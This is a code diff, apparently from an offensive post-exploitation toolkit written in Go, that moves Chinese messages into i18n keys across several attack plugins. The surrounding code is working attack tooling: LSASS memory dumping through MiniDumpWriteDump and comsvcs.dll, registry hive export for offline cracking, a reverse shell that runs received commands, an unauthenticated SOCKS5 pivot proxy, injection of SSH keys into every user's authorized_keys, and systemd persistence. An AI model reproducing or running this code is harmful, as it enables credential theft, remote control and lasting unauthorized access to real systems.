} else {
|
||||
output.WriteString("[*] 检测到杀软防护,跳过直接dump\n")
|
||||
output.WriteString(i18n.GetText("minidump_av_skip_direct") + "\n")
|
||||
}
|
||||
|
||||
// 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截)
|
||||
output.WriteString("[*] 尝试 comsvcs.dll 方式...\n")
|
||||
output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n")
|
||||
if ok := p.tryComsvcsDump(pm, &output); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
|
||||
// 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS)
|
||||
output.WriteString("[*] 尝试 reg save 导出注册表...\n")
|
||||
output.WriteString(i18n.GetText("minidump_try_regsave") + "\n")
|
||||
if ok := p.tryRegSave(&output); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
|
||||
output.WriteString("[!] 所有方式均失败\n")
|
||||
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New("所有凭据提取方式均失败")}
|
||||
output.WriteString(i18n.GetText("minidump_all_failed") + "\n")
|
||||
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))}
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool {
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
|
||||
return false
|
||||
}
|
||||
|
||||
if privErr := pm.elevatePrivileges(); privErr != nil {
|
||||
output.WriteString(fmt.Sprintf(" 权限提升失败: %v\n", privErr))
|
||||
output.WriteString(i18n.Tr("minidump_privilege_failed", privErr) + "\n")
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -150,18 +150,18 @@ func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager,
|
||||
defer cancel()
|
||||
|
||||
if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil {
|
||||
output.WriteString(fmt.Sprintf(" 直接dump失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("minidump_direct_failed", err) + "\n")
|
||||
os.Remove(outputPath)
|
||||
return false
|
||||
}
|
||||
|
||||
return p.reportSuccess(output, outputPath, "直接内存转储")
|
||||
return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"))
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool {
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -171,7 +171,7 @@ func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Buil
|
||||
cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump",
|
||||
fmt.Sprintf("%d", pid), outputPath, "full")
|
||||
if err := cmd.Run(); err != nil {
|
||||
output.WriteString(fmt.Sprintf(" comsvcs.dll失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("minidump_comsvcs_failed", err) + "\n")
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -193,12 +193,12 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
|
||||
saved++
|
||||
}
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf(" ✗ %s 导出失败\n", hive))
|
||||
output.WriteString(i18n.Tr("minidump_hive_export_failed", hive) + "\n")
|
||||
}
|
||||
}
|
||||
|
||||
if saved == 3 {
|
||||
output.WriteString("[+] 注册表 hive 导出完成,可用 secretsdump 离线解析\n")
|
||||
output.WriteString(i18n.GetText("minidump_regsave_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("minidump_regsave_success"))
|
||||
return true
|
||||
}
|
||||
@@ -210,7 +210,7 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str
|
||||
if err != nil || fi.Size() == 0 {
|
||||
return false
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("[+] %s成功: %s (%d bytes)\n", method, path, fi.Size()))
|
||||
output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n")
|
||||
common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
|
||||
return true
|
||||
}
|
||||
@@ -219,17 +219,17 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str
|
||||
func (p *MiniDumpPlugin) loadSystemDLLs() error {
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
return fmt.Errorf("加载 kernel32.dll 失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "kernel32.dll"), err)
|
||||
}
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
return fmt.Errorf("加载 Dbghelp.dll 失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "Dbghelp.dll"), err)
|
||||
}
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
return fmt.Errorf("加载 advapi32.dll 失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "advapi32.dll"), err)
|
||||
}
|
||||
|
||||
p.kernel32 = kernel32
|
||||
@@ -285,14 +285,14 @@ func (pm *ProcessManager) findProcess(name string) (uint32, error) {
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %w", err)
|
||||
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateToolhelp32Snapshot"), err)
|
||||
}
|
||||
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
lastError := windows.GetLastError()
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
|
||||
return 0, fmt.Errorf(i18n.GetText("minidump_snapshot_create_failed")+": %v (LastError: %d)", err, lastError)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
@@ -304,29 +304,29 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (
|
||||
|
||||
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找Process32FirstW函数失败: %w", err)
|
||||
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32FirstW"), err)
|
||||
}
|
||||
|
||||
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找Process32NextW函数失败: %w", err)
|
||||
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32NextW"), err)
|
||||
}
|
||||
|
||||
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %w", err)
|
||||
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "lstrcmpiW"), err)
|
||||
}
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", windows.GetLastError())
|
||||
return 0, fmt.Errorf(i18n.GetText("minidump_first_process_failed")+" (LastError: %d)", windows.GetLastError())
|
||||
}
|
||||
|
||||
for {
|
||||
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("转换进程名失败: %w", err)
|
||||
return 0, fmt.Errorf("%s: %w", i18n.GetText("minidump_process_name_convert_failed"), err)
|
||||
}
|
||||
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
@@ -344,7 +344,7 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
return 0, fmt.Errorf("%s", i18n.Tr("minidump_process_not_found", name))
|
||||
}
|
||||
|
||||
// elevatePrivileges 提升权限
|
||||
@@ -357,7 +357,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("minidump_open_process_token_failed"), err)
|
||||
}
|
||||
defer func() { _ = token.Close() }()
|
||||
|
||||
@@ -365,7 +365,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
|
||||
|
||||
privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege")
|
||||
if err != nil {
|
||||
return fmt.Errorf("转换权限名称失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("minidump_privilege_name_convert_failed"), err)
|
||||
}
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
@@ -375,7 +375,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("minidump_lookup_privilege_failed"), err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
@@ -389,7 +389,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
|
||||
0, 0, 0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("minidump_adjust_token_failed"), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -400,7 +400,7 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
return 0, fmt.Errorf("%s", i18n.GetText("minidump_current_process_failed"))
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
@@ -417,7 +417,7 @@ func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32
|
||||
case err := <-resultChan:
|
||||
return err
|
||||
case <-ctx.Done():
|
||||
return fmt.Errorf("内存转储超时 (120秒)")
|
||||
return fmt.Errorf("%s", i18n.GetText("minidump_timeout"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -437,7 +437,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
|
||||
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
|
||||
if err != nil {
|
||||
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "MiniDumpWriteDump"), err)
|
||||
}
|
||||
|
||||
// 转储类型标志
|
||||
@@ -480,7 +480,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
|
||||
if ret == 0 {
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return fmt.Errorf("写入转储文件失败 (LastError: %d)", windows.GetLastError())
|
||||
return fmt.Errorf(i18n.GetText("minidump_write_dump_failed")+" (LastError: %d)", windows.GetLastError())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -491,14 +491,14 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
proc, err := pm.kernel32.FindProc("OpenProcess")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找OpenProcess函数失败: %w", err)
|
||||
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "OpenProcess"), err)
|
||||
}
|
||||
|
||||
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
lastError := windows.GetLastError()
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
|
||||
return 0, fmt.Errorf(i18n.GetText("minidump_open_process_failed")+": %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
@@ -512,7 +512,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
|
||||
createFile, err := pm.kernel32.FindProc("CreateFileW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找CreateFileW函数失败: %w", err)
|
||||
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateFileW"), err)
|
||||
}
|
||||
|
||||
handle, _, callErr := createFile.Call(
|
||||
@@ -527,7 +527,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
lastError := windows.GetLastError()
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
|
||||
return 0, fmt.Errorf(i18n.GetText("file_create_failed")+": %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
|
||||
return handle, nil
|
||||
|
||||
@@ -63,14 +63,14 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
port = 4444
|
||||
}
|
||||
|
||||
output.WriteString("=== Go原生反弹Shell ===\n")
|
||||
output.WriteString(fmt.Sprintf("目标: %s\n", target))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
output.WriteString(i18n.GetText("reverseshell_header") + "\n")
|
||||
output.WriteString(i18n.Tr("local_target", target) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
// 启动反弹Shell
|
||||
err = p.startNativeReverseShell(ctx, host, port, state)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err))
|
||||
output.WriteString(i18n.Tr("reverseshell_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -78,7 +78,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ 反弹Shell已完成\n")
|
||||
output.WriteString(i18n.GetText("reverseshell_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("reverseshell_complete", target))
|
||||
|
||||
return &plugins.Result{
|
||||
@@ -94,7 +94,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
|
||||
// 连接到目标
|
||||
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
@@ -141,7 +141,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
return fmt.Errorf("读取命令错误: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("command_read_failed"), err)
|
||||
}
|
||||
|
||||
// 清理命令
|
||||
@@ -175,13 +175,13 @@ func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("bash", "-c", cmdLine)
|
||||
default:
|
||||
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
|
||||
return i18n.Tr("unsupported_os", runtime.GOOS)
|
||||
}
|
||||
|
||||
// 执行命令并获取输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Sprintf("错误: %v\n%s", err, string(output))
|
||||
return i18n.Tr("command_error_with_output", err, string(output))
|
||||
}
|
||||
|
||||
return string(output)
|
||||
|
||||
@@ -47,16 +47,16 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
port = 1080 // 默认端口
|
||||
}
|
||||
|
||||
output.WriteString("=== SOCKS5代理服务器 ===\n")
|
||||
output.WriteString(fmt.Sprintf("监听端口: %d\n", port))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
output.WriteString(i18n.GetText("socks5_header") + "\n")
|
||||
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
common.LogInfo(i18n.Tr("socks5_starting", port))
|
||||
|
||||
// 启动SOCKS5代理服务器
|
||||
err := p.startSocks5Server(ctx, port, state)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("SOCKS5代理服务器错误: %v\n", err))
|
||||
output.WriteString(i18n.Tr("socks5_server_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -64,7 +64,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ SOCKS5代理已完成\n")
|
||||
output.WriteString(i18n.GetText("socks5_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("socks5_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
@@ -80,7 +80,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("监听端口失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err)
|
||||
}
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
@@ -164,18 +164,18 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||
buffer := make([]byte, 256)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取握手请求失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err)
|
||||
}
|
||||
|
||||
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
|
||||
return fmt.Errorf("不支持的SOCKS版本")
|
||||
return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version"))
|
||||
}
|
||||
|
||||
// 发送握手响应(无认证)
|
||||
response := []byte{0x05, 0x00} // 版本5,无认证
|
||||
_, err = conn.Write(response)
|
||||
if err != nil {
|
||||
return fmt.Errorf("发送握手响应失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -187,11 +187,11 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
buffer := make([]byte, 256)
|
||||
n, err := clientConn.Read(buffer)
|
||||
if err != nil {
|
||||
return nil, 0, fmt.Errorf("读取连接请求失败: %w", err)
|
||||
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err)
|
||||
}
|
||||
|
||||
if n < 7 || buffer[0] != 0x05 {
|
||||
return nil, 0, fmt.Errorf("无效的SOCKS5请求")
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request"))
|
||||
}
|
||||
|
||||
cmd := buffer[1]
|
||||
@@ -199,7 +199,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
// 发送不支持的命令响应
|
||||
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
_, _ = clientConn.Write(response)
|
||||
return nil, 0, fmt.Errorf("不支持的命令: %d", cmd)
|
||||
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_command")+": %d", cmd)
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
@@ -210,23 +210,23 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
switch addrType {
|
||||
case 0x01: // IPv4
|
||||
if n < 10 {
|
||||
return nil, 0, fmt.Errorf("IPv4地址格式错误")
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid"))
|
||||
}
|
||||
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
|
||||
targetPort = int(buffer[8])<<8 + int(buffer[9])
|
||||
case 0x03: // 域名
|
||||
if n < 5 {
|
||||
return nil, 0, fmt.Errorf("域名格式错误")
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid"))
|
||||
}
|
||||
domainLen := int(buffer[4])
|
||||
if n < 5+domainLen+2 {
|
||||
return nil, 0, fmt.Errorf("域名长度错误")
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid"))
|
||||
}
|
||||
targetHost = string(buffer[5 : 5+domainLen])
|
||||
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
|
||||
case 0x04: // IPv6
|
||||
if n < 22 {
|
||||
return nil, 0, fmt.Errorf("IPv6地址格式错误")
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid"))
|
||||
}
|
||||
// IPv6地址解析(简化实现)
|
||||
targetHost = net.IP(buffer[4:20]).String()
|
||||
@@ -235,7 +235,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
// 发送不支持的地址类型响应
|
||||
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
_, _ = clientConn.Write(response)
|
||||
return nil, 0, fmt.Errorf("不支持的地址类型: %d", addrType)
|
||||
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType)
|
||||
}
|
||||
|
||||
// 连接目标服务器
|
||||
@@ -245,13 +245,13 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
// 发送连接失败响应
|
||||
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
_, _ = clientConn.Write(response)
|
||||
return nil, 0, fmt.Errorf("连接目标服务器失败: %w", err)
|
||||
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_target_connect_failed"), err)
|
||||
}
|
||||
|
||||
// 获取本地监听端口(从targetConn获取)
|
||||
localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr)
|
||||
if !ok {
|
||||
return nil, 0, fmt.Errorf("无法获取本地地址")
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("local_address_unavailable"))
|
||||
}
|
||||
localPort := localAddr.Port
|
||||
|
||||
@@ -269,10 +269,10 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
_, err = clientConn.Write(response)
|
||||
if err != nil {
|
||||
_ = targetConn.Close()
|
||||
return nil, 0, fmt.Errorf("发送成功响应失败: %w", err)
|
||||
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err)
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
|
||||
common.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr))
|
||||
return targetConn, localPort, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -38,31 +38,31 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
authFile := filepath.Join(sshDir, "authorized_keys")
|
||||
|
||||
if err := os.MkdirAll(sshDir, 0700); err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: 无法创建 .ssh 目录: %v\n", u.Username, err))
|
||||
output.WriteString(i18n.Tr("sshkey_mkdir_failed", u.Username, err) + "\n")
|
||||
continue
|
||||
}
|
||||
|
||||
pubKey, privKey, err := p.generateKeyPair()
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: 密钥生成失败: %v\n", u.Username, err))
|
||||
output.WriteString(i18n.Tr("sshkey_generate_failed", u.Username, err) + "\n")
|
||||
continue
|
||||
}
|
||||
|
||||
// 追加公钥到 authorized_keys
|
||||
existing, err := os.ReadFile(authFile)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: 读取 authorized_keys 失败: %v\n", u.Username, err))
|
||||
output.WriteString(i18n.Tr("sshkey_authorized_read_failed", u.Username, err) + "\n")
|
||||
continue
|
||||
}
|
||||
if strings.Contains(string(existing), pubKey) {
|
||||
output.WriteString(fmt.Sprintf("[跳过] %s: 公钥已存在\n", u.Username))
|
||||
output.WriteString(i18n.Tr("sshkey_public_exists", u.Username) + "\n")
|
||||
continue
|
||||
}
|
||||
|
||||
entry := pubKey + "\n"
|
||||
f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: 无法写入 authorized_keys: %v\n", u.Username, err))
|
||||
output.WriteString(i18n.Tr("sshkey_authorized_write_failed", u.Username, err) + "\n")
|
||||
continue
|
||||
}
|
||||
_, err = f.WriteString(entry)
|
||||
@@ -74,11 +74,11 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
// 保存私钥到当前目录
|
||||
keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519")
|
||||
if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil {
|
||||
output.WriteString(fmt.Sprintf("[失败] %s: 私钥保存失败: %v\n", u.Username, err))
|
||||
output.WriteString(i18n.Tr("sshkey_private_save_failed", u.Username, err) + "\n")
|
||||
continue
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("[成功] %s: 公钥已注入 %s,私钥保存为 %s\n", u.Username, authFile, keyFile))
|
||||
output.WriteString(i18n.Tr("sshkey_injected", u.Username, authFile, keyFile) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
|
||||
@@ -38,28 +38,28 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
|
||||
var output strings.Builder
|
||||
|
||||
if runtime.GOOS != "linux" {
|
||||
output.WriteString("系统服务持久化只支持Linux平台\n")
|
||||
output.WriteString(i18n.GetText("systemdservice_linux_only") + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
|
||||
}
|
||||
}
|
||||
|
||||
// 从config获取配置
|
||||
targetFile := config.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
|
||||
output.WriteString(i18n.GetText("persistence_file_required") + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定目标文件"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
|
||||
output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -69,7 +69,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
|
||||
|
||||
// 检查systemctl是否可用
|
||||
if _, err := exec.LookPath("systemctl"); err != nil {
|
||||
output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err))
|
||||
output.WriteString(i18n.Tr("systemctl_unavailable", err) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -77,59 +77,59 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== 系统服务持久化 ===\n")
|
||||
